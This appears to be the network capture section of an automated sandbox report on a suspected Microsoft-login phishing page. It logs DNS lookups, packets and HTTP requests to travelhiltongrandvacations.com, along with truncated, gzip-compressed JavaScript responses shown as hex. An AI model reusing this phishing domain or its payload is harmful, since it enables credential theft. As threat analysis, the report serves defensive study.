May 24, 2024 07:55:31.706597090 CEST	49698	80	192.168.2.16	199.232.214.172
May 24, 2024 07:55:31.712739944 CEST	80	49697	199.232.214.172	192.168.2.16
May 24, 2024 07:55:31.712845087 CEST	49697	80	192.168.2.16	199.232.214.172
May 24, 2024 07:55:31.718801022 CEST	80	49698	199.232.214.172	192.168.2.16
May 24, 2024 07:55:31.718887091 CEST	49698	80	192.168.2.16	199.232.214.172
May 24, 2024 07:55:31.754307985 CEST	49709	80	192.168.2.16	104.21.78.175
May 24, 2024 07:55:31.771823883 CEST	80	49709	104.21.78.175	192.168.2.16
May 24, 2024 07:55:32.176565886 CEST	443	49736	52.165.165.26	192.168.2.16
May 24, 2024 07:55:32.176835060 CEST	49736	443	192.168.2.16	52.165.165.26
May 24, 2024 07:55:32.178217888 CEST	49736	443	192.168.2.16	52.165.165.26
May 24, 2024 07:55:32.178247929 CEST	443	49736	52.165.165.26	192.168.2.16
May 24, 2024 07:55:32.178608894 CEST	443	49736	52.165.165.26	192.168.2.16
May 24, 2024 07:55:32.180335045 CEST	49736	443	192.168.2.16	52.165.165.26
May 24, 2024 07:55:32.226497889 CEST	443	49736	52.165.165.26	192.168.2.16
May 24, 2024 07:55:32.490513086 CEST	443	49736	52.165.165.26	192.168.2.16
May 24, 2024 07:55:32.490570068 CEST	443	49736	52.165.165.26	192.168.2.16
May 24, 2024 07:55:32.490622044 CEST	443	49736	52.165.165.26	192.168.2.16
May 24, 2024 07:55:32.490663052 CEST	49736	443	192.168.2.16	52.165.165.26
May 24, 2024 07:55:32.490688086 CEST	443	49736	52.165.165.26	192.168.2.16
May 24, 2024 07:55:32.490840912 CEST	49736	443	192.168.2.16	52.165.165.26
May 24, 2024 07:55:32.490840912 CEST	49736	443	192.168.2.16	52.165.165.26
May 24, 2024 07:55:32.511969090 CEST	443	49736	52.165.165.26	192.168.2.16
May 24, 2024 07:55:32.512028933 CEST	443	49736	52.165.165.26	192.168.2.16
May 24, 2024 07:55:32.512057066 CEST	49736	443	192.168.2.16	52.165.165.26
May 24, 2024 07:55:32.512072086 CEST	443	49736	52.165.165.26	192.168.2.16
May 24, 2024 07:55:32.512154102 CEST	443	49736	52.165.165.26	192.168.2.16
May 24, 2024 07:55:32.512208939 CEST	49736	443	192.168.2.16	52.165.165.26
May 24, 2024 07:55:32.512208939 CEST	49736	443	192.168.2.16	52.165.165.26
May 24, 2024 07:55:32.512233973 CEST	443	49736	52.165.165.26	192.168.2.16
May 24, 2024 07:55:32.512263060 CEST	49736	443	192.168.2.16	52.165.165.26
May 24, 2024 07:55:32.512263060 CEST	49736	443	192.168.2.16	52.165.165.26
May 24, 2024 07:55:32.512274981 CEST	443	49736	52.165.165.26	192.168.2.16
May 24, 2024 07:55:32.512284994 CEST	443	49736	52.165.165.26	192.168.2.16
May 24, 2024 07:55:48.285944939 CEST	80	49718	104.21.78.175	192.168.2.16
May 24, 2024 07:55:48.286267996 CEST	49718	80	192.168.2.16	104.21.78.175
May 24, 2024 07:55:48.291559935 CEST	80	49718	104.21.78.175	192.168.2.16
May 24, 2024 07:55:48.357737064 CEST	49738	443	192.168.2.16	142.250.181.228
May 24, 2024 07:55:48.357820988 CEST	443	49738	142.250.181.228	192.168.2.16
May 24, 2024 07:55:48.357913017 CEST	49738	443	192.168.2.16	142.250.181.228
May 24, 2024 07:55:48.358258963 CEST	49738	443	192.168.2.16	142.250.181.228
May 24, 2024 07:55:48.358279943 CEST	443	49738	142.250.181.228	192.168.2.16
May 24, 2024 07:55:49.003520012 CEST	443	49738	142.250.181.228	192.168.2.16
May 24, 2024 07:55:49.003925085 CEST	49738	443	192.168.2.16	142.250.181.228
May 24, 2024 07:55:49.003966093 CEST	443	49738	142.250.181.228	192.168.2.16
May 24, 2024 07:55:49.005105972 CEST	443	49738	142.250.181.228	192.168.2.16
May 24, 2024 07:55:49.005412102 CEST	49738	443	192.168.2.16	142.250.181.228
May 24, 2024 07:55:49.005599976 CEST	443	49738	142.250.181.228	192.168.2.16
May 24, 2024 07:55:49.058438063 CEST	49738	443	192.168.2.16	142.250.181.228
May 24, 2024 07:55:58.923103094 CEST	443	49738	142.250.181.228	192.168.2.16
May 24, 2024 07:55:58.923240900 CEST	443	49738	142.250.181.228	192.168.2.16
May 24, 2024 07:55:58.923343897 CEST	49738	443	192.168.2.16	142.250.181.228
May 24, 2024 07:55:59.791991949 CEST	49738	443	192.168.2.16	142.250.181.228
May 24, 2024 07:55:59.792037964 CEST	443	49738	142.250.181.228	192.168.2.16
May 24, 2024 07:56:08.386409044 CEST	80	49718	104.21.78.175	192.168.2.16
May 24, 2024 07:56:08.386843920 CEST	49718	80	192.168.2.16	104.21.78.175
May 24, 2024 07:56:08.443731070 CEST	80	49718	104.21.78.175	192.168.2.16
May 24, 2024 07:56:16.591628075 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:56:16.597531080 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:56:16.783576965 CEST	49709	80	192.168.2.16	104.21.78.175
May 24, 2024 07:56:16.788698912 CEST	80	49709	104.21.78.175	192.168.2.16
May 24, 2024 07:56:22.427850008 CEST	49700	80	192.168.2.16	192.229.221.95
May 24, 2024 07:56:22.435630083 CEST	80	49700	192.229.221.95	192.168.2.16
May 24, 2024 07:56:22.435729980 CEST	49700	80	192.168.2.16	192.229.221.95
May 24, 2024 07:56:28.779834986 CEST	80	49718	104.21.78.175	192.168.2.16
May 24, 2024 07:56:28.780242920 CEST	49718	80	192.168.2.16	104.21.78.175
May 24, 2024 07:56:28.784512043 CEST	80	49718	104.21.78.175	192.168.2.16
May 24, 2024 07:56:28.784610033 CEST	49718	80	192.168.2.16	104.21.78.175
May 24, 2024 07:56:28.835326910 CEST	80	49718	104.21.78.175	192.168.2.16
May 24, 2024 07:56:48.880142927 CEST	80	49718	104.21.78.175	192.168.2.16
May 24, 2024 07:56:48.920772076 CEST	49718	80	192.168.2.16	104.21.78.175

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 24, 2024 07:54:43.504347086 CEST	53	63921	1.1.1.1	192.168.2.16
May 24, 2024 07:54:43.535187960 CEST	53	50279	1.1.1.1	192.168.2.16
May 24, 2024 07:54:43.605741978 CEST	54446	53	192.168.2.16	1.1.1.1
May 24, 2024 07:54:43.605932951 CEST	49829	53	192.168.2.16	1.1.1.1
May 24, 2024 07:54:43.619383097 CEST	53	54446	1.1.1.1	192.168.2.16
May 24, 2024 07:54:43.660350084 CEST	53	49829	1.1.1.1	192.168.2.16
May 24, 2024 07:54:44.556613922 CEST	53	50925	1.1.1.1	192.168.2.16
May 24, 2024 07:54:44.869244099 CEST	53001	53	192.168.2.16	1.1.1.1
May 24, 2024 07:54:44.869678974 CEST	52910	53	192.168.2.16	1.1.1.1
May 24, 2024 07:54:44.925915956 CEST	53	53001	1.1.1.1	192.168.2.16
May 24, 2024 07:54:44.941828012 CEST	60039	53	192.168.2.16	1.1.1.1
May 24, 2024 07:54:44.941828012 CEST	50091	53	192.168.2.16	1.1.1.1
May 24, 2024 07:54:44.955954075 CEST	53	50091	1.1.1.1	192.168.2.16
May 24, 2024 07:54:45.003400087 CEST	53	60039	1.1.1.1	192.168.2.16
May 24, 2024 07:54:45.111371040 CEST	53	52910	1.1.1.1	192.168.2.16
May 24, 2024 07:54:46.567678928 CEST	52070	53	192.168.2.16	1.1.1.1
May 24, 2024 07:54:46.567826986 CEST	64570	53	192.168.2.16	1.1.1.1
May 24, 2024 07:54:46.572993040 CEST	56104	53	192.168.2.16	1.1.1.1
May 24, 2024 07:54:46.573157072 CEST	50608	53	192.168.2.16	1.1.1.1
May 24, 2024 07:54:46.663618088 CEST	53	52070	1.1.1.1	192.168.2.16
May 24, 2024 07:54:46.663631916 CEST	53	56104	1.1.1.1	192.168.2.16
May 24, 2024 07:54:46.663641930 CEST	53	64570	1.1.1.1	192.168.2.16
May 24, 2024 07:54:46.663650036 CEST	53	50608	1.1.1.1	192.168.2.16
May 24, 2024 07:54:48.295895100 CEST	53474	53	192.168.2.16	1.1.1.1
May 24, 2024 07:54:48.296111107 CEST	50140	53	192.168.2.16	1.1.1.1
May 24, 2024 07:54:48.305553913 CEST	53	53474	1.1.1.1	192.168.2.16
May 24, 2024 07:54:48.346405983 CEST	53	50140	1.1.1.1	192.168.2.16
May 24, 2024 07:54:48.813330889 CEST	65290	53	192.168.2.16	1.1.1.1
May 24, 2024 07:54:48.813729048 CEST	49177	53	192.168.2.16	1.1.1.1
May 24, 2024 07:54:50.122911930 CEST	63761	53	192.168.2.16	1.1.1.1
May 24, 2024 07:54:50.123199940 CEST	64950	53	192.168.2.16	1.1.1.1
May 24, 2024 07:55:01.567122936 CEST	53	61466	1.1.1.1	192.168.2.16
May 24, 2024 07:55:20.433516026 CEST	53	50434	1.1.1.1	192.168.2.16
May 24, 2024 07:55:43.447320938 CEST	53	63898	1.1.1.1	192.168.2.16
May 24, 2024 07:55:43.466470003 CEST	53	59195	1.1.1.1	192.168.2.16
May 24, 2024 07:55:51.217344999 CEST	138	138	192.168.2.16	192.168.2.255
May 24, 2024 07:56:11.625999928 CEST	53	52611	1.1.1.1	192.168.2.16

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
May 24, 2024 07:54:43.660450935 CEST	192.168.2.16	1.1.1.1	c253	(Port unreachable)	Destination Unreachable
May 24, 2024 07:54:45.111464977 CEST	192.168.2.16	1.1.1.1	c253	(Port unreachable)	Destination Unreachable
May 24, 2024 07:54:48.346545935 CEST	192.168.2.16	1.1.1.1	c209	(Port unreachable)	Destination Unreachable
May 24, 2024 07:55:43.466691017 CEST	192.168.2.16	1.1.1.1	c230	(Port unreachable)	Destination Unreachable
May 24, 2024 07:56:13.314255953 CEST	192.168.2.16	1.1.1.1	c23f	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 24, 2024 07:54:43.605741978 CEST	192.168.2.16	1.1.1.1	0x481d	Standard query (0)	c7642d242.travelhiltongrandvacations.com	A (IP address)	IN (0x0001)	false
May 24, 2024 07:54:43.605932951 CEST	192.168.2.16	1.1.1.1	0x7484	Standard query (0)	c7642d242.travelhiltongrandvacations.com	65	IN (0x0001)	false
May 24, 2024 07:54:44.869244099 CEST	192.168.2.16	1.1.1.1	0x4cba	Standard query (0)	c7642d242.travelhiltongrandvacations.com	A (IP address)	IN (0x0001)	false
May 24, 2024 07:54:44.869678974 CEST	192.168.2.16	1.1.1.1	0x797d	Standard query (0)	c7642d242.travelhiltongrandvacations.com	65	IN (0x0001)	false
May 24, 2024 07:54:44.941828012 CEST	192.168.2.16	1.1.1.1	0xd7e9	Standard query (0)	openfpcdn.io	A (IP address)	IN (0x0001)	false
May 24, 2024 07:54:44.941828012 CEST	192.168.2.16	1.1.1.1	0x9db7	Standard query (0)	openfpcdn.io	65	IN (0x0001)	false
May 24, 2024 07:54:46.567678928 CEST	192.168.2.16	1.1.1.1	0x561c	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
May 24, 2024 07:54:46.567826986 CEST	192.168.2.16	1.1.1.1	0xb213	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
May 24, 2024 07:54:46.572993040 CEST	192.168.2.16	1.1.1.1	0xfaf5	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
May 24, 2024 07:54:46.573157072 CEST	192.168.2.16	1.1.1.1	0x181a	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
May 24, 2024 07:54:48.295895100 CEST	192.168.2.16	1.1.1.1	0x6a51	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
May 24, 2024 07:54:48.296111107 CEST	192.168.2.16	1.1.1.1	0x8d37	Standard query (0)	www.google.com	65	IN (0x0001)	false
May 24, 2024 07:54:48.813330889 CEST	192.168.2.16	1.1.1.1	0x9681	Standard query (0)	aadcdn.msauthimages.net	A (IP address)	IN (0x0001)	false
May 24, 2024 07:54:48.813729048 CEST	192.168.2.16	1.1.1.1	0xe130	Standard query (0)	aadcdn.msauthimages.net	65	IN (0x0001)	false
May 24, 2024 07:54:50.122911930 CEST	192.168.2.16	1.1.1.1	0x11cb	Standard query (0)	aadcdn.msauthimages.net	A (IP address)	IN (0x0001)	false
May 24, 2024 07:54:50.123199940 CEST	192.168.2.16	1.1.1.1	0x60a5	Standard query (0)	aadcdn.msauthimages.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 24, 2024 07:54:43.619383097 CEST	1.1.1.1	192.168.2.16	0x481d	No error (0)	c7642d242.travelhiltongrandvacations.com		104.21.78.175	A (IP address)	IN (0x0001)	false
May 24, 2024 07:54:43.619383097 CEST	1.1.1.1	192.168.2.16	0x481d	No error (0)	c7642d242.travelhiltongrandvacations.com		172.67.136.35	A (IP address)	IN (0x0001)	false
May 24, 2024 07:54:43.660350084 CEST	1.1.1.1	192.168.2.16	0x7484	No error (0)	c7642d242.travelhiltongrandvacations.com			65	IN (0x0001)	false
May 24, 2024 07:54:44.925915956 CEST	1.1.1.1	192.168.2.16	0x4cba	No error (0)	c7642d242.travelhiltongrandvacations.com		104.21.78.175	A (IP address)	IN (0x0001)	false
May 24, 2024 07:54:44.925915956 CEST	1.1.1.1	192.168.2.16	0x4cba	No error (0)	c7642d242.travelhiltongrandvacations.com		172.67.136.35	A (IP address)	IN (0x0001)	false
May 24, 2024 07:54:45.003400087 CEST	1.1.1.1	192.168.2.16	0xd7e9	No error (0)	openfpcdn.io		13.32.99.97	A (IP address)	IN (0x0001)	false
May 24, 2024 07:54:45.003400087 CEST	1.1.1.1	192.168.2.16	0xd7e9	No error (0)	openfpcdn.io		13.32.99.118	A (IP address)	IN (0x0001)	false
May 24, 2024 07:54:45.003400087 CEST	1.1.1.1	192.168.2.16	0xd7e9	No error (0)	openfpcdn.io		13.32.99.33	A (IP address)	IN (0x0001)	false
May 24, 2024 07:54:45.003400087 CEST	1.1.1.1	192.168.2.16	0xd7e9	No error (0)	openfpcdn.io		13.32.99.103	A (IP address)	IN (0x0001)	false
May 24, 2024 07:54:45.111371040 CEST	1.1.1.1	192.168.2.16	0x797d	No error (0)	c7642d242.travelhiltongrandvacations.com			65	IN (0x0001)	false
May 24, 2024 07:54:46.663618088 CEST	1.1.1.1	192.168.2.16	0x561c	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
May 24, 2024 07:54:46.663618088 CEST	1.1.1.1	192.168.2.16	0x561c	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
May 24, 2024 07:54:46.663631916 CEST	1.1.1.1	192.168.2.16	0xfaf5	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
May 24, 2024 07:54:46.663631916 CEST	1.1.1.1	192.168.2.16	0xfaf5	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
May 24, 2024 07:54:46.663631916 CEST	1.1.1.1	192.168.2.16	0xfaf5	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
May 24, 2024 07:54:46.663631916 CEST	1.1.1.1	192.168.2.16	0xfaf5	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
May 24, 2024 07:54:46.663641930 CEST	1.1.1.1	192.168.2.16	0xb213	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
May 24, 2024 07:54:46.663645983 CEST	1.1.1.1	192.168.2.16	0x7ada	No error (0)	shed.dual-low.part-0017.t-0009.t-msedge.net	part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 07:54:46.663645983 CEST	1.1.1.1	192.168.2.16	0x7ada	No error (0)	part-0017.t-0009.t-msedge.net		13.107.213.45	A (IP address)	IN (0x0001)	false
May 24, 2024 07:54:46.663645983 CEST	1.1.1.1	192.168.2.16	0x7ada	No error (0)	part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
May 24, 2024 07:54:47.474318981 CEST	1.1.1.1	192.168.2.16	0x829e	No error (0)	shed.dual-low.part-0039.t-0009.t-msedge.net	part-0039.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 07:54:47.474318981 CEST	1.1.1.1	192.168.2.16	0x829e	No error (0)	part-0039.t-0009.t-msedge.net		13.107.213.67	A (IP address)	IN (0x0001)	false
May 24, 2024 07:54:47.474318981 CEST	1.1.1.1	192.168.2.16	0x829e	No error (0)	part-0039.t-0009.t-msedge.net		13.107.246.67	A (IP address)	IN (0x0001)	false
May 24, 2024 07:54:48.305553913 CEST	1.1.1.1	192.168.2.16	0x6a51	No error (0)	www.google.com		142.250.181.228	A (IP address)	IN (0x0001)	false
May 24, 2024 07:54:48.346405983 CEST	1.1.1.1	192.168.2.16	0x8d37	No error (0)	www.google.com			65	IN (0x0001)	false
May 24, 2024 07:54:48.821132898 CEST	1.1.1.1	192.168.2.16	0x9681	No error (0)	aadcdn.msauthimages.net	aadcdn.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 07:54:48.821132898 CEST	1.1.1.1	192.168.2.16	0x9681	No error (0)	scdn3514c.wpc.9e730.upsiloncdn.net	sni1gl.wpc.upsiloncdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 07:54:48.821132898 CEST	1.1.1.1	192.168.2.16	0x9681	No error (0)	sni1gl.wpc.upsiloncdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
May 24, 2024 07:54:48.837282896 CEST	1.1.1.1	192.168.2.16	0xe130	No error (0)	aadcdn.msauthimages.net	aadcdn.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 07:54:48.837282896 CEST	1.1.1.1	192.168.2.16	0xe130	No error (0)	scdn3514c.wpc.9e730.upsiloncdn.net	sni1gl.wpc.upsiloncdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 07:54:50.138274908 CEST	1.1.1.1	192.168.2.16	0x11cb	No error (0)	aadcdn.msauthimages.net	aadcdn.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 07:54:50.138274908 CEST	1.1.1.1	192.168.2.16	0x11cb	No error (0)	scdn3514c.wpc.9e730.upsiloncdn.net	sni1gl.wpc.upsiloncdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 07:54:50.138274908 CEST	1.1.1.1	192.168.2.16	0x11cb	No error (0)	sni1gl.wpc.upsiloncdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
May 24, 2024 07:54:50.138315916 CEST	1.1.1.1	192.168.2.16	0x60a5	No error (0)	aadcdn.msauthimages.net	aadcdn.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 07:54:50.138315916 CEST	1.1.1.1	192.168.2.16	0x60a5	No error (0)	scdn3514c.wpc.9e730.upsiloncdn.net	sni1gl.wpc.upsiloncdn.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

openfpcdn.io

cdnjs.cloudflare.com

code.jquery.com

aadcdn.msauth.net

aadcdn.msauthimages.net

slscr.update.microsoft.com

fs.microsoft.com

c7642d242.travelhiltongrandvacations.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49706	104.21.78.175	80	5556	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 07:54:43.667280912 CEST	353	OUT	GET /s/d97ac54c463?b51e238161f6=admin@microsoft.com HTTP/1.1 Host: c7642d242.travelhiltongrandvacations.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Origin: null Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49707	104.21.78.175	80	5556	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 07:54:43.859832048 CEST	353	OUT	GET /s/d97ac54c463?b51e238161f6=admin@microsoft.com HTTP/1.1 Host: c7642d242.travelhiltongrandvacations.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Origin: null Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
May 24, 2024 07:54:44.861345053 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 05:54:44 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: keep-alive access-control-allow-origin: * access-control-allow-credentials: true access-control-allow-methods: GET, PUT, POST, DELETE, OPTIONS CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A5k%2BYESJmu9PKdu%2F%2FCxQcP70Y%2B5AL2pgx9x4xeAuoC%2BaKvkWulssfqq5MccB00cPE7OnNUfJoflE50u1E0VVq1zQkgs0A0EXYcjJkfBEj4tWl8IJAhRQYxkoni8y4cMmQL5%2F079KF5z7GP%2BwwK53Aoxinhv9kPT27btQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888b0862c8e88ce6-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 Data Raw: 65 32 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b4 5b 5d 6f db 3c b2 be 4e 7f 05 57 c5 62 1b 40 56 66 f8 cd bc 71 71 b0 b9 d8 9b 1e 60 81 f3 5e ed 62 f1 1e 4a a4 1c a1 b6 65 c8 4a 93 9e c5 fe f7 03 ea cb 92 ad 24 4e 9a 18 2d 24 8d 86 c3 99 e1 33 23 ce b0 fd 61 2b b2 2e ad f3 15 59 92 ff bd b9 ab 37 eb af 37 77 de ba af 9f 08 21 e1 ef cd be fe b9 f6 cd 23 21 e4 73 6a bd 63 9c 1a 6a 99 60 e4 df 1d 79 57 ee 8b ba 28 b7 d7 24 2f 1e bd fb ad 23 d7 e5 ee 9a 40 ff 94 96 75 5d 6e 46 84 b5 cf eb d1 63 55 ac ee c6 cf a9 cd be af aa f2 7e eb 16 59 b9 2e ab 6b f2 39 cf f3 fe ed 7f 7a 8d ac cc 28 4a e4 42 ea d4 9f a5 51 66 d7 d9 17 01 3f ee c8 82 18 d8 3d 5e 4e 15 ea 5f 3f 1c bf 7e 28 5c 7d 77 4d 50 c3 ee b1 a7 dd f9 56 eb 09 71 d0 cd 1b e7 19 4d 29 73 52 e5 5a bc a4 5d ef 21 26 0f b2 4e 75 e2 62 a4 53 3f 55 e2 6c f5 9d 7c 0e 6b 59 6c 57 ff 93 55 de 6f 87 e9 66 3c c9 18 3b d1 d6 01 72 c8 bc ca 87 81 76 5b 6c 6c 50 94 5c 13 ab 19 64 d6 79 9d 66 84 01 c0 66 4f d6 c5 d6 db 8a 20 d9 96 d5 c6 ae 49 5e 56 0f b6 72 fb df [TRUNCATED] Data Ascii: e2f[]o<NWb@Vfqq`^bJeJ$N-$3#a+.Y77w!#!sjcj`yW($/#@u]nFcU~Y.k9z(JBQf?=^N_?~(\}wMPVqM)sRZ]!&NubS?Ul\|kYlWUof<;rv[llP\dyffO I^Vr/W]VoD\aQNjK7}.c9:njCpYSU#sp'sa(2)ux)1)HO9R8GK&S>W
May 24, 2024 07:54:44.861699104 CEST	1236	IN	Data Raw: 81 57 90 e7 fe 83 14 f8 af ef fe 67 5e d9 8d df 4f a2 b0 57 05 fe 3c dc d6 95 dd ee f3 b2 da 5c b7 b7 6b 5b fb 2f 08 3a d1 86 73 b6 7b 8c 09 0a 91 28 14 48 d5 ee f1 92 ec 33 bb f6 5f 20 91 52 1b c9 62 d2 df 5d 9e 6a 5a 17 9b 62 bb 5a e4 f7 db ac Data Ascii: Wg^OW<\k[/:s{(H3_ Rb]jZbZM]}Zd_/p$(~W9!rgV(,BYQ}5u3>kl3'Hl{<b0@8T CLTG2Fj#f2+t$\|.T4
May 24, 2024 07:54:44.862677097 CEST	1236	IN	Data Raw: e8 ec 29 7a 21 a4 13 42 fe f6 3b e9 84 f4 0a 1f 29 e1 5d 51 ef 7d b3 9d 8a 9e 7b b9 48 2b 9b 7d f7 75 f4 f5 9f 2f 4b 3a 30 ff eb c8 5d 57 77 2c 64 a9 8b 8b 9b ab 90 de ba d4 d6 1c 1f fd 58 75 87 24 cb 88 52 68 9d 32 39 b3 89 c8 fe ce ee fc a2 f2 Data Ascii: )z!B;)]Q}{H+}u/K:0]Ww,dXu$Rh29[fV*W>+\|m^QJQ{nYowWWKjuEjc\?9F4\5oUcp6hyG9D=X<1c&^ #' OZwCi^Hpjh
May 24, 2024 07:54:44.863679886 CEST	1236	IN	Data Raw: 71 c0 e2 e6 c3 aa 8f 5c 26 85 a1 52 74 08 31 5c 30 26 75 aa f2 ec 3d a3 40 c1 07 c1 fe 29 1c 8c 8d f2 98 42 9a 33 fa 1e 80 17 88 a8 94 d4 61 63 c3 47 80 97 5c 0b 4d 25 95 5c 68 98 da fb 3e 80 7f 22 89 8d ed cc a8 e4 dc a4 1c 9c 94 ef 89 f8 c9 e2 Data Ascii: q\&Rt1\0&u=@)B3acG\M%\h>"}0nOY2S.:&RjPmBh _Zc)RHJ)zHP<'fXaTc!55y<%uE?`1@CM( >Z64Og4
May 24, 2024 07:54:44.863692045 CEST	896	IN	Data Raw: 13 22 c5 68 2a 29 c8 58 4b 0a 2f b9 1b 4f 26 58 8a de 91 c6 fa c0 90 c3 41 04 d0 bb f4 f8 6e c9 fb 82 94 72 94 60 3b 18 49 43 db d8 de 4a 05 a1 32 be a3 77 90 c2 98 54 90 42 05 6f 34 ee 58 50 0c 90 45 7b 2d fa 6b 2f 4b 82 a8 c6 9b 2b c7 1b 0b 02 Data Ascii: "h)XK/O&XAnr`;ICJ2wTBo4XPE{-k/K+LcJAdEM.X`Y FG`5-C&#(r>MG)%oEirp)(\ip#'JaCRxA8$c"=4i{1}JW)zR+
May 24, 2024 07:54:44.866274118 CEST	1236	IN	Data Raw: c8 24 1e bb e2 12 58 2f f1 b7 53 0c 6f 0f 57 01 f5 f7 16 36 00 6a 0a a5 a1 28 f0 19 28 5a 81 82 b5 32 c2 92 55 71 b8 0e 65 1a 3e 91 7a fa 2f 40 1b 07 8d eb 86 a4 31 d0 70 45 46 5a 8c ce 47 0f cb 61 b8 06 f6 23 6b 13 c9 04 cf 48 a4 2c 07 27 65 86 Data Ascii: $X/SoW6j((Z2Uqe>z/@1pEFZGa#kH,'eL}1`~x1Tm$e0rpu`Fi?C>C("??xpy}>{O{{d6DtZj#OD4nb5hSe)^h(
May 24, 2024 07:54:44.866309881 CEST	842	IN	Data Raw: af d7 bb ee a1 67 94 4c 8f d9 67 38 46 78 d2 fd 2e bf 15 03 a8 a6 d3 26 b7 f5 e6 90 cf 9a fc d7 5c 75 47 a4 b0 72 97 68 27 2e b9 fe 8b ba d9 7e 53 76 25 3b fd 68 3e bf cd 9d d8 de 6d ba 35 a0 97 9b 76 68 32 fc 12 97 e2 d5 78 34 1a e1 e7 19 12 7d Data Ascii: gLg8Fx.&\uGrh'.~Sv%;h>m5vh2x4}8f?rBlQ>Xl6^Cj%kGeL7{ZKPm[=]<ghtvYwdFr?YQC=)T"?r&W5GpY/W
May 24, 2024 07:54:44.915323973 CEST	842	IN	Data Raw: af d7 bb ee a1 67 94 4c 8f d9 67 38 46 78 d2 fd 2e bf 15 03 a8 a6 d3 26 b7 f5 e6 90 cf 9a fc d7 5c 75 47 a4 b0 72 97 68 27 2e b9 fe 8b ba d9 7e 53 76 25 3b fd 68 3e bf cd 9d d8 de 6d ba 35 a0 97 9b 76 68 32 fc 12 97 e2 d5 78 34 1a e1 e7 19 12 7d Data Ascii: gLg8Fx.&\uGrh'.~Sv%;h>m5vh2x4}8f?rBlQ>Xl6^Cj%kGeL7{ZKPm[=]<ghtvYwdFr?YQC=)T"?r&W5GpY/W
May 24, 2024 07:54:44.942508936 CEST	312	OUT	GET /s/5?0 HTTP/1.1 Host: c7642d242.travelhiltongrandvacations.com Connection: keep-alive Origin: null User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
May 24, 2024 07:54:45.360075951 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 05:54:45 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: keep-alive access-control-allow-origin: * access-control-allow-credentials: true access-control-allow-methods: GET, PUT, POST, DELETE, OPTIONS CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kYYvjsdSc%2B7JHuknksCJTUcFPi4HnV0xtwoZVSUonNDhwRSZxqAxWG4pQH5TAJvAzwApyy%2FoCsP9Y%2B5hVr1keJfVHARTGT1Bj%2FeV1i1R8suS5XaYUqnoc2DZZi2Re5MDu%2F%2B6RjiPsTyslFLbtO2SpdnPj9SfwkpJejl4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888b08674b978ce6-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 Data Raw: 66 63 39 0d 0a 